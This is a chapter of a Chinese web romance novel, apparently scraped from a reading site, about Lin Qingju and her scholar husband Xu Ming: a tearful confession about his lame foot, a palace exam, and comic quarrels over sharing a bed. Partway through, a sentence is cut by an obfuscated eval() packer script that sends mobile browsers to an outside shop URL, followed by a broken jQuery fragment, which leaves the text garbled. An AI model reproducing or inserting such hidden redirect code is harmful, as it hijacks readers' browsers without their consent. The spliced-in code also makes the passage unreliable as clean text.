扭伤不重,没一会红肿已消下去,但徐茗久久未将手拿开,林卿雎也未斥他失礼。
“徐茗,”终于,林卿雎低低唤他名字,声音发哑,带着浓浓的鼻腔:“你不用再说了。”
“还是说完吧,有始有终。”徐茗由按摩变为抚摸,轻轻触碰着手中细腻白嫩的肌肤:“据我娘说我那时才一个月大?我爹趁她睡着时动的手,等她因我的哭声醒来我脚骨已经断了,尖刀离我眼睛仅有一寸。后来我娘便这样日日给我按脚,四处求医问药,我却依旧成了跛子。等我再大些,必须自己走路了,她又开始给我缝鞋子,春夏秋冬,从小到大,直至她死去的那刻。”
“你爹太坏了!”林卿雎泪眼盈盈,凶巴巴地骂,但又知徐茗与他娘孤儿寡母,若没有他爹,她们不可能活下去。
“我娘不愿离开我爹,不止是为了生存。”徐茗摇头,认真望着林卿雎:“我爹出意外不久后,我娘也溘然长逝,她是哭死的。”
杨郎只爱英娘,英娘爱儿子,但更爱杨郎。
杨郎归地府,英娘相跟随,独留一子在世间。
林卿雎已经要到泪崩的边缘,仍强憋着问:“现在誓言还奏效吗?”
得到徐茗的否定,她“哇”地一声哭出来,抱住了他脖颈:“你、你别难过,我一定会努力比你晚死的。”
“小姐,你也太会安慰我了!”低迷的气氛被林卿雎这话一扫而空,徐茗实在无法不笑,奈何林卿雎还在真心实意地流泪:“我是认真的!”
“好好,我一定会求神拜佛让小姐长命百岁。”徐茗越笑越大声,到后面笑得几乎直不起腰来,笑得林卿雎都怀疑起来,她干脆坐在他身上晃他:“哪有这么好笑?”
“我说了,小姐可不要揍我。”徐茗依旧在笑,笑得有些神经质,他说得断断续续:“天底下哪有这么狠心的父亲?我、我是编的,小姐忘了?我早说过、说过我是天生的跛足。”
此话一出,林卿雎的哭声立止,屋内的沉默衬托着徐茗的笑更为诡异,林卿雎眼睛微微闪烁,心都要碎了,哽咽问:“真的?”
“……真的。”感受到林卿雎的颤抖,克制不住的笑声到底散去,徐茗抱得更紧,声音低沉,后悔道:“小姐,你还是打我吧。”
“不打你!”本以为结束的嚎哭卷土重来,林卿雎抽噎着:“徐茗,我扔书之前,从头到尾看了一遍。而且它,它不知被谁,还了回来。”
本来又看了一遍能忍住不哭的,但听他亲口说,果然还是不一样。
……
“林妹妹,你怎么拄着拐?”许久不见,槐采诧异地看着林卿雎,快步走过去扶住她:“我还道你怎未送徐举子参与殿试,原是脚受伤了?你怎的没告诉我?”
“槐姐姐放心,我腿没受伤,只是穿了高度不一的鞋子而已。”林卿雎摆摆手,又生龙活虎地甩甩腿:“你瞧。”
槐采瞧见了,但无话可说:“……这是妹妹的新设计?”
“差不多……”林卿雎打着哈哈,抬头看看即将西沉的太阳:“殿试快结束了吧?”
她刚问完,保和殿门便开了,考生们鱼贯而出,却个个噤若寒蝉,在宫门前不敢造次,只凌乱的脚步声暴露了他们的忐忑。
槐采望眼欲穿,见着何青平,却又踌躇不前,却意外他竟然主动前来,即使他问:“槐小姐来接槐大人下值?我与薛公子与徐兄陪你一起等吧。”
“我娘来了,我去找她,就不陪你了。”薛青野拍拍何青平肩膀:“你找徐兄吧。”
但他们四顾也未寻见徐茗身影。
“殿试他表现得极为惹眼,怕是怕被人纠缠,悄悄离开了。”
听何青平解释完,槐采微微一笑:“没关系,我可以自己等父亲回来。”
“林姑娘也在找徐兄吧?你们等等我,我去找他。”
“不用不用,我不急着见他。”幸运被何青平注意到的林卿雎连忙摆手,这次却的确没心思撮合他俩。
那次徐茗走后,她们就再也没见过了……她想见徐茗,又不好意思见他。
——if线
林卿雎看了看屋中构造,见拔步床与梳妆台都按自己喜好布置了一番,整体差强人意,勉强点了点头。
她开口:“以后……”
“我知道,以后小姐睡床,我睡榻,徐茗懂的。”
徐茗从善如流接了话茬,却见林卿雎抿着唇,有些不高兴。
又怎么了?他可没惹她。
他想了一会,左手握拳锤右掌,一副焕然大悟的样子:“是徐茗考虑不周,小姐定是想一人睡一间屋子的,我以后去书房睡。”
“徐茗!”林卿雎气得跺脚:“你表面处处考虑我的感受,其实是不是找借口不和本小姐呆在一块?”
“我哪有?”徐茗一脸无辜:“不是你一直讨厌我吗?难不成以后还要夜夜同我睡一张床上?”
“讨厌是一回事,但我们好歹也是夫妻,难道不该、不该……”
林卿雎声音越来越低,脸莫名发红,有点不好意思,极低极轻地说:“难道不该一起睡么?”
随即,她又恶狠狠补充:“不然,传出闲话该怎么办?”
裴家人丢了面子,确实很可能会盯着他俩,找出露馅的地方来。徐茗想了想,林卿雎习于一人入眠,与他一起,估计也忍不了几天,就干脆顺着她心意,囫囵度过这几日便是。
于是他说:“既然小姐愿意,徐茗自然无话可说。”
“还有,以后不许叫我小姐。”
徐茗歪头,一脸“那我该叫你什么”的模样。
林卿雎清咳一声:“娘子、卿儿、卿卿你自己选一个。”
“既如此……相公、徐郎、茗哥哥你也选一个吧,娘子?”
“娘子”二字,不知是否故意,徐茗说得极其缱绻温柔,林卿雎被逗弄地满脸发烫,剜他一眼:“我就叫你徐茗!以后私底下继续唤我小姐!”
二人均着里衣,共榻而眠。
林卿雎睡在最里侧,头朝床帐,似乎要与徐茗隔得最远。
见床中间有两长枕充当楚河汉界,徐茗将手搭在额间,闭眼睡去,心说这和让他睡在榻上有什么区别。
区别还是有的,当半夜徐茗被翻身过来的林卿雎弄醒时,他这般想到。
本离他远远的林卿雎不知什么时候冲破了楚河汉界,双手挽着他平放的手臂,当作抱枕安眠起来。
似乎是贪恋徐茗身上的温度,熟睡中的少女越靠越近,身上香气也越来越浓……他没法动弹,也就难以入睡,只能侧过身去拿长枕,好替代自己被紧抓不放的手。
哪想他刚一侧身,林卿雎似有所感,直接环住他腰身,整个人落入他的怀里。
徐茗低头,便闻到满怀馨香,女子领口大敞,露出里面的红色小衣。
这和那晚,好像是同一件……徐茗闭了闭眼,除去心中杂念,怀中女子却仿若故意,时不时蹭蹭他,故意不让他入眠。
坚持了一个时辰,当林卿雎再一次用脸轻轻蹭他胸膛时,徐茗睁开布满血丝的眼,腾得起身,一把挣脱开来,将自己的被子留给还在熟睡的女子,自己则抱着她被子去了榻上。
早该如此,他这般想着,周身轻松地陷入了梦乡。
林卿雎这几日有种奇怪的感觉。
她明明与徐茗同榻,但不论早上起多早,都见不到他人影。
不仅如此,除了第一日自己醒来时睡在了他的位置,后几日每当自己在里侧醒来,徐茗该躺的地方,总是一片冰凉。
她知他读书用功,可也不至于像这般,好似不睡觉才对。
于是今日,林卿雎特意睡了个漫长的午觉,好晚上留有精神,看看究竟是怎么回事。
她如往常一般头朝床帘睡去,实则聚精会神听着徐茗的响动。
约摸过了半个时辰,徐茗缓缓靠了过来,凑近她颈窝,不知想做什么。
他呼出的热气喷到她颈窝处,一缕似有似无的墨香钻入她鼻尖,林卿雎紧闭着眼,心怦怦跳着,有些紧张。
他、他、他想要干什么?不会是趁她熟睡,想占她便宜?
她之前果然没看错他,生得一副正人君子的皮囊,实则一肚子黑心肠,是个名副其实的大色胚!
平日对她不感兴趣,等她睡着,就完全暴露了,是么?
林卿雎知晓自己容貌上乘,更可况共眠一处,没几个男人把持得住。
可如今她已嫁给徐茗,若他想,求求自己,她也不是不能答应……
为何非要夜深人静,偷偷摸摸地不可?难不成,是要维护他那副清心寡欲的形象吗?
想到这,她摇摇头,呸!若清心寡欲,那次她中药,他会弄这么多次,乃至将自己的小腹都撑大?
——在她面前,还装什么装!
徐茗哪知短短时间,林卿雎就已脑补了这么多,他靠近,不过是为了确认她已熟睡了而已。
一只手掌搭于自己肩上时,林卿雎抖了抖,小腹有些发酸,虽说已不是第一次,但当时自己神智不清,几乎什么也不记得,只对醒来时的一身酸痛与伤痕历历在目。
现在该怎么办?是静观其变,还是直接推开他?
林卿雎陷入纠结,可那搭于自己肩上的手,只是轻轻晃了晃,接着就撤了回去。
她正觉奇怪,又听徐茗在自己耳边问道:“小姐,你睡了吧?”
什么意思?办坏事前,他是还要确认自己、有没有睡着?
确认自己有未睡去,林卿雎是猜对了,可所谓的坏事,却是没了下文。
因为徐茗已抽身离去,带着被子去了屏风后的榻上。
林卿雎闭眼等了许久,直至等来榻上青年均匀的呼吸声,他依旧没对自己做什么。
她缓缓转过身,裹紧被子,看着屏风上躺着的人影,目光平静,像在看个死人。
这个死徐茗,竟敢偷偷跑到榻上去睡!到底是有多嫌弃她!
她一直在劝自己冷静,可偏偏火气一直往头顶冒,翻来覆去怎么也睡不着。
林卿雎绞尽脑汁,也想不出除了嫌弃自己,徐茗去榻上睡的理由。
凭什么他睡得好好的,自己要在这哭恼!于是她猛地坐了起来,“蹬蹬蹬”走到榻边,一屁股坐他他身上,双手使劲摇晃着他肩:“徐茗,你快醒来!”
其实不用晃他,早在林卿雎坐自己身上时,徐茗就已经醒了。
他揉揉眼,见林卿雎一脸怒容,立刻想到自己偷睡榻上被发现了,但还是装傻充愣,假装看了看自己睡在何处,惊讶道:“我怎么睡在这了?怕不是梦游了?”
林卿雎被气笑了:“徐茗,这么多年,你第一次发现你梦
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17884486|206038||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
游的毛病?”
“以前都是一个人睡,发现不了,实属正常。”徐茗眼带歉意:“吓到小姐了,是不是?”
“确实是有些吓到。”
林卿雎咬牙切齿:“特别是你问我睡着了没的时候,可真真把我吓到了。徐茗,原来梦游还能说话呢?”
徐茗:“……”
林卿雎抓着他衣领,像只张牙舞爪的野猫:“快说,你为什么要背着我偷睡榻上!”
徐茗被晃得头晕,他苦笑道:“小姐,能不能起来再说?”
“不行!”
林卿雎坐在徐茗小腹上,上半身俯下来,一双美目瞪着他,两张脸靠得几近:“你解释得令我满意了,我就下来。”
徐茗微微将脸撇过一边,省的一说话,二人都要亲上。
正在气头上的林卿雎发现这一小动作,以为徐茗仍嫌弃她,便不服气凑了过去。
徐茗脸转到哪,她脸便往哪凑。
没办法,徐茗只能捂住了他的嘴。
竟然嫌弃她到了这样的地步?
林卿雎愣在原地,一阵委屈涌上心头,眼泪便从眼眶中流了出来,她一字一句道:“徐茗,你想死是不是!竟敢嫌弃我!”
徐茗眨眨眼,仍捂着嘴,无辜道:“我可没有!”
“那你捂着嘴做什么!”林卿雎喋喋不休,碰到徐茗的手,像羽毛拂过,留下一阵痒意。
她眼泪滴落下来,滴在徐茗脸上,他欲哭无泪,不知林卿雎是怎么想的,简直百口莫辩。
于是他松开了手,转而用另一只将林卿雎的嘴捂住,眼睛撇过一边,解释道:“我捂住嘴是因为你离我太近了,怕亲到……”
哪想话音刚落,林卿雎却哭得更凶,她嘴被捂着,含糊不清的,不知道说些什么。
她两手使力要将徐茗的手移开,双眼死死瞪着他,徐茗没办法,只好把手移开了。
林卿雎连珠带炮:“徐茗,你装什么装,难道我们没亲过?我们是夫妻,就算、就算……”
她没说下去:“总之,你拿这种理由当幌子,不成立,你就是嫌弃我!”
“我说了没有!”
徐茗没法解释,便微微抬头,在她唇上轻轻一啄:“你看,我不嫌弃你。”
他在心里叹了口气,从前因亲她而被报复的回忆纷至沓来,恐怕,他又要大难临头了。
唇上柔软的触感转瞬即逝,林卿雎大脑一片空白,不由自主抚上自己的唇,这就是、吻吗?
好像,不是很讨厌……
她有些羞赧,微微直起身来,已不再流泪,吞吞吐吐说:“既、既如此,你跑榻上来睡做什么?”
徐茗不知林卿雎为何突然熄了火,但好歹逃过一劫,他懒得细想,有些尴尬地指着林卿雎的姿势:“因为一起睡,你就会像这般抱着我……”
“胡、胡说!本小姐怎么可能投怀送抱!”
话是这样说,她想起第一日自己睡在床外侧,还盖着本来属于徐茗的被子。若非她自己主动,总不能是徐茗将她抱过去的……
见林卿雎沉思,徐茗便知她已信了七分,说:“小姐,这下你可以起来了吧?”
“还是不行!”林卿雎气焰稍微减弱,但还是有些恼怒:“就算我抱着你又怎么样?妨碍你睡觉了?”
徐茗点点头,倒是毫不犹豫承认了。
“你!既然如此,从明天起你去睡马厩,省得本小姐碍着你!”
林卿雎口不择言,就是想徐茗求她,可却见这厮沉默片刻,竟又点了点头:“如果这样小姐能解气,就这样吧。”
睡在马厩,臭是臭了些,不过比承受林卿雎的怒火强。
没想到林卿雎却怒火更甚,使劲锤他,徐茗钳住她手,万分无奈:“小姐,我实在看不懂你,求你有话直说,给我个痛快吧。”
说什么?她想让徐茗求她,和她共睡一榻,夜夜抱着她?
这样的话,她才说不出口!
林卿雎不说话,手被制住,就去胡乱咬他,以解郁结之气。
她咬得有些重,徐茗疼得龇牙咧嘴,乞求道:“小姐,别咬、别咬了,我会忍不住!”
“忍不住什么?”林卿雎又狠狠咬他脖颈一口。
“……就是忍不住。”
徐茗含糊地解释,低声说:“你抱着我,我就得忍着,很难受。”
只要抱着,就会忍不住?林卿雎好像隐隐知道了他所说的是什么意思……
她眼中怔然,脸部发烫,难以置信:“你在说什么胡话!”
“是真的……”
“本小姐是说,你、你为什么要忍……”
徐茗表情一呆:“不忍,难道……”
难道她还愿意与他做那种事?
林卿雎打他一巴掌,打掉他脑子里那些胡思乱想:“你应该叫醒我,我自然会睡回去。”
“哦……”
“你好像很失望?”
“没有,只是担心惊扰小姐,你会生气。”
林卿雎点点头,赞同道:“这倒是。”
于是她顺势躺了下来,大半个身子还在徐茗身上:“在你适应之前,我们都在榻上睡。”
“……小姐,我还是比较想睡马厩。”
“闭嘴!”
徐茗无言以对,又是一夜无眠。